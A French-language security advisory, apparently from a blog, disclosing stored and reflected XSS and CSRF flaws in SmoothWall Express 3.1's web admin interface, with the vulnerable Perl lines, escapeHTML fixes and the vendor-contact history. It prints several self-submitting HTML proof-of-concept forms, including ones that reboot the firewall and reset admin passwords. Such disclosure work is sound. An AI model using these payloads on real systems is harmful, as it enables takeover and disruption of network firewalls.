[XSS & CSRF] SmoothWall 3.1 Multiple vulnerabilities

22
déc.
2014
  • Google Plus
  • LinkedIn
  • Viadeo
Posted by: Yann C.  /   Category: Administration réseaux et systèmes / CSRF / OS / Vulnérabilités, exploits et PoC / XSS   /   Pas de commentaire

SmoothWall est une distribution Linux open-source sous licence GPL, qui fait office de firewall/routeur sécurisé. Référence dans le domaine, et à la base de projet annexe tel que IPCop (fork de SmoothWall), cette distribution orientée sécurité s’administre par WebGUI en HTTP (port 81) ou HTTPS (port 441). La branche des versions « Express » de SmoothWall est gratuite et open-source. Toutefois, une version professionnelle est également disponible.

Pour continuer mes récentes analyses de divers firewall/routeurs réputés (pfSense, m0n0wall, IPCop…), je me suis intéressé à celle-ci. Contrairement à ses cousines, SmoothWall s’avère relativement robuste à part sur certains points précis.

Retour en arrière…

Le 17  janvier 2011, Dave B. a publié deux PoC concernant une XSS et une CSRF pour SmoothWall 3.0 (probablement SP2). La dernière version de SmoothWall Express est la 3.1,  qui date du 12 octobre 2014, et il s’avère que ces deux PoC sont toujours fonctionnels. J’ai entrepris de tester un peu plus en profondeur cette distribution, et d’autres PoC en ont résulté : diverses CSRF, XSS persistantes et non-persistantes au travers de l’interface d’administration WebGUI (Perl/CGI).

Observations préliminaires

SmoothWall dispose d’une authentification simple de type Basic Auth (htaccess) pour gérer l’interface web d’administration. Aucun mécanisme de cookie de session, de jeton, ni même de validation de referer n’est présent pour parer la distribution à des attaques de type CSRF. Le fichier /var/smoothwall/auth/user contient les crédentiels d’accès à l’authentification Basic Auth. Deux comptes sont présents par défaut, le compte « admin » et le compte « dial ».

Proof Of Concept

XSS persistante via requête POST n°1

Fichier concerné : /httpd/cgi-bin/pppsetup.cgi à la ligne 365 :

print '\t$profilenames[$c]\n';

La variable $profilenames[$c] n’est pas correctement nettoyée (sanitize). PoC de démonstration :

<html>
<body>
<form name='x' action='http://SMOOTHWALL_IP:81/cgi-bin/pppsetup.cgi' method='post'>
<input type='hidden' name='PROFILENAME' value='<script>alert(/XSS from Yann CAM/);</script>' />
<input type='hidden' name='PROFILE' value='1' />
<input type='hidden' name='COMPORT' value='ttyS0' />
<input type='hidden' name='DTERATE' value='9600' />
<input type='hidden' name='TELEPHONE' value='' />
<input type='hidden' name='DIALMODE' value='T' />
<input type='hidden' name='MAXRETRIES' value='' />
<input type='hidden' name='TIMEOUT' value='' />
<input type='hidden' name='USERNAME' value='' />
<input type='hidden' name='PASSWORD' value='' />
<input type='hidden' name='AUTH' value='pap-or-chap' />
<input type='hidden' name='LOGINSCRIPT' value='' />
<input type='hidden' name='ACTION' value='Save' />
</form>
<script>document.forms['x'].submit();</script>
</body>
</html>
XSS persistante pppsetup.cgi

XSS persistante pppsetup.cgi

Cette XSS s’avère persistante à deux endroits. Le premier est sur la page elle-même, puisque c’est le nom d’un nouveau profil créé qui comporte l’injection. A chaque chargement de la page la liste des profils disponibles est faites. Le second lieu où l’injection est visible est dans la page /httpd/cgi-bin/logs.cgi/log.dat, qui conserve une trace de tous les événements de configuration, dont l’ajout d’un nouveau profil. Pour la journalisation, c’est la ligne suivante du fichier pppsetup.cgi qui est concernée (plusieurs occurrences) :

&log('$tr{'profile deleted'} $pppsettings{'PROFILENAME'}');
XSS persistante dans les logs

XSS persistante dans les logs

XSS persistante via requête POST n°2

La seconde page vulnérable à une XSS persistante est /httpd/cgi-bin/vpn.cgi/vpnconfig.dat à la ligne 258 :

<td colspan='3'><strong>$tr{'commentc'}</strong> $temp[8]</td>

La variable $temp[8] est réinjectée sans nettoyage. PoC de démonstration :

<html>
<body>
<form name='x' action='http://SMOOTHWALL_IP:81/cgi-bin/vpn.cgi/vpnconfig.dat' method='post'>
<input type='hidden' name='SECRET1' value='x' />
<input type='hidden' name='SECRET2' value='x' />
<input type='hidden' name='COMMENT' value='<script>alert(/XSS from Yann CAM/);</script>' />
<input type='hidden' name='ACTION' value='Add' />
</form>
<script>document.forms['x'].submit();</script>
</body>
</html>
XSS persistante dans la configuration VPN

XSS persistante dans la configuration VPN

XSS persistante via requête POST n°3

Une autre page vulnérable à une XSS persistante est /httpd/cgi-bin/ddns.cgi à la ligne 273 :

&displaytable($filename, \%render_settings, $cgiparams{'ORDER'}, $cgiparams{'COLUMN'} );

Toutes les variables POST sont transmises sans nettoyage à la fonction displaytable(). Aucun traitement additionnel n’est fait dans cette fonction. La variable COMMENT POST permet l’injection persistante.

PoC de démonstration :

<html>
<body>
<form name='x' action='http://SMOOTHWALL_IP:81/cgi-bin/ddns.cgi' method='post'>
<input type='hidden' name='COMMENT' value='<script>alert(/XSS from Yann CAM/);</script>' />
<input type='hidden' name='ACTION' value='Add' />
</form>
<script>document.forms['x'].submit();</script>
</body>
</html>
XSS persistante dans la configuration DDNS

XSS persistante dans la configuration DDNS

XSS non-persistante via requête POST n°4

Une autre page vulnérable à une XSS persistante est /httpd/cgi-bin/ipinfo.cgi à la ligne 76 et 101. Ce PoC a été initialement réalisé par Dave B en 2011.

&openbox('$addr ($hostname)');

$addr n’est pas proprement nettoyée avant d’être réinjectée au travers de la fonction openbox().

PoC de démonstration :

<html>
<body>
<form name='x' action='http://SMOOTHWALL_IP:81/cgi-bin/ipinfo.cgi' method='post'>
<input type='hidden' name='IP' value='<script>alert(/XSS from Dave B/);</script>' />
<input type='hidden' name='ACTION' value='Run' />
</form>
<script>document.forms['x'].submit();</script>
</body>
</html>
XSS non-persistante dans ipinfo

XSS non-persistante dans ipinfo

CSRF n°1 pour redémarrer (ou arrêter) SmoothWall

Ce PoC a été initialement réalisé par Dave B en 2011. Une CSRF permet de redémarrer ou d’arrêter de force la distribution.

Fichier concerné : /httpd/cgi-bin/shutdown.cgi

PoC de démonstration :

<html>
<body>
<form name='x' action='http://SMOOTHWALL_IP:81/cgi-bin/shutdown.cgi' method='post'>
<input type='hidden' name='ACTION' value='Reboot' />
</form>
<script>document.forms['x'].submit();</script>
</body>
</html>

CSRF n°2 pour reset les mots de passe d’administration de SmoothWall

Cette nouvelle CSRF permet de changer arbitrairement les mots de passe d’administration de l’interface WebGUI. A savoir le compte « admin » et « dial » utilisés pour la « Basic Auth ».

Les mots de passe doivent avoir minimum 6 caractères et peuvent être alpha-numériques. Le mot de passe d’administration actuel n’est pas nécessaire pour valider ce changement ; du moins, aucune vérification n’est faite.

Fichier concerné : /httpd/cgi-bin/changepw.cgi

PoC de démonstration :

<html>
<body>
<form name='x' action='http://SMOOTHWALL_IP:81/cgi-bin/changepw.cgi' method='post'>
<input type='hidden' name='ADMIN_PASSWORD1' value='newpassword' />
<input type='hidden' name='ADMIN_PASSWORD2' value='newpassword' />
<input type='hidden' name='DIAL_PASSWORD1' value='newpassword' />
<input type='hidden' name='DIAL_PASSWORD1' value='newpassword' />
<input type='hidden' name='ACTION_DIAL' value='Save' />
<input type='hidden' name='ACTION_ADMIN' value='Save' />
</form>
<script>document.forms['x'].submit();</script>
</body>
</html>

Comment sécuriser SmoothWall face à ces vecteurs d’attaques?

L’ensemble des XSS, persistantes ou non, peuvent être aisément corrigées en nettoyant les données injectées dans la page. L’interface WebGUI de SmoothWall repose sur du cgi-bin en Perl. Ainsi, la bibliothèque CGI peut être chargée dans les pages :

use CGI qw(:standard);

Une fois cette bibliothèque chargée, elle permet l’utilisation de la fonction escapeHTML() qui sert à nettoyer des données avant de les réinjecter dans une page HTML. Pour reprendre le cas du PoC n°1, voici ce qui peut être fait pour s’en prémunir (line 365 du fichier /httpd/cgi-bin/pppsetup.cgi) :

print '\t<OPTION VALUE='$c' $selected{'PROFILE'}{$c}>' . escapeHTML($profilenames[$c]) . '\n';

Idem pour les enregistrements dans les logs :

&log('$tr{'profile deleted'} ' . escapeHTML($pppsettings{'PROFILENAME'}));
XSS corrigée dans pppsetup

XSS corrigée dans pppsetup

Enfin, pour se protéger des CSRF, un mécanisme de jeton de session, ou bien de vérification du referer HTTP(S) (comme pour le fork de SmoothWall du nom d’IPCop) peut être implémenté sur chacune des pages.

Conclusion

Je tiens à saluer les développeurs de SmoothWall pour l’utilisation de la fonction system() de Perl qu’ils font de manière sécurisée et dans les règles de l’art.

Toutefois, après avoir contacté l’équipe de développement de SmoothWall pour savoir ce qu’il en était de ces corrections et leur transmettre ces nouveaux vecteurs d’attaques, ceux-ci m’ont répondu dans un premier temps qu’il ne considéraient pas ces injections comme un réel problème.

I am sure you think you are trying to help, but this is an issue that has been discussed in the past and has been determined to be a « non-issue ».

Quelques heures plus tard ils sont revenus sur leurs dires avec un discours un peu plus constructif ; mais caractérisant ces faiblesses de « potentielles vulnérabilités qui n’en sont pas vraiment ».

J’ai donc répondu avec de nombreuses sources détaillant des faits et des failles similaires jugées critiques afin de les sensibiliser. J’y ait ajouté les techniques pour sécuriser au mieux les instructions et fonctions vulnérables à ces vecteurs d’attaques.

Mes tests initiaux ont été réalisés en mars 2013 sur la version 3.0SP3. En octobre 2014 (soit 19 mois plus tard), la version 3.1 Express de SmoothWall est sortie. Souhaitant savoir si des corrections avaient été appliquées, j’ai retesté les précédents PoC : ceux-ci sont toujours d’actualité, tout comme ceux identifiés par Dave B. en janvier 2011…

Il ne semble pas que des améliorations soient envisagées malgré ces remontés et alertes. C’est pourquoi je publie cet article afin de sensibiliser les utilisateurs de SmoothWall, afin de leur fournir quelques techniques pour améliorer eux mêmes la solutions du produit. Je vous encourage toutefois à tester d’autres produits équivalents tels pfSense, m0n0wall, IPCop, IPFire ou encore ZeroShell.

Sources & ressources

  • Google Plus
  • LinkedIn
  • Viadeo
Yann C.

About the Author : Yann C.

Consultant en sécurité informatique et s’exerçant dans ce domaine depuis le début des années 2000 en autodidacte par passion, plaisir et perspectives, il maintient le portail ASafety pour présenter des articles, des projets personnels, des recherches et développements, ainsi que des « advisory » de vulnérabilités décelées notamment au cours de pentest.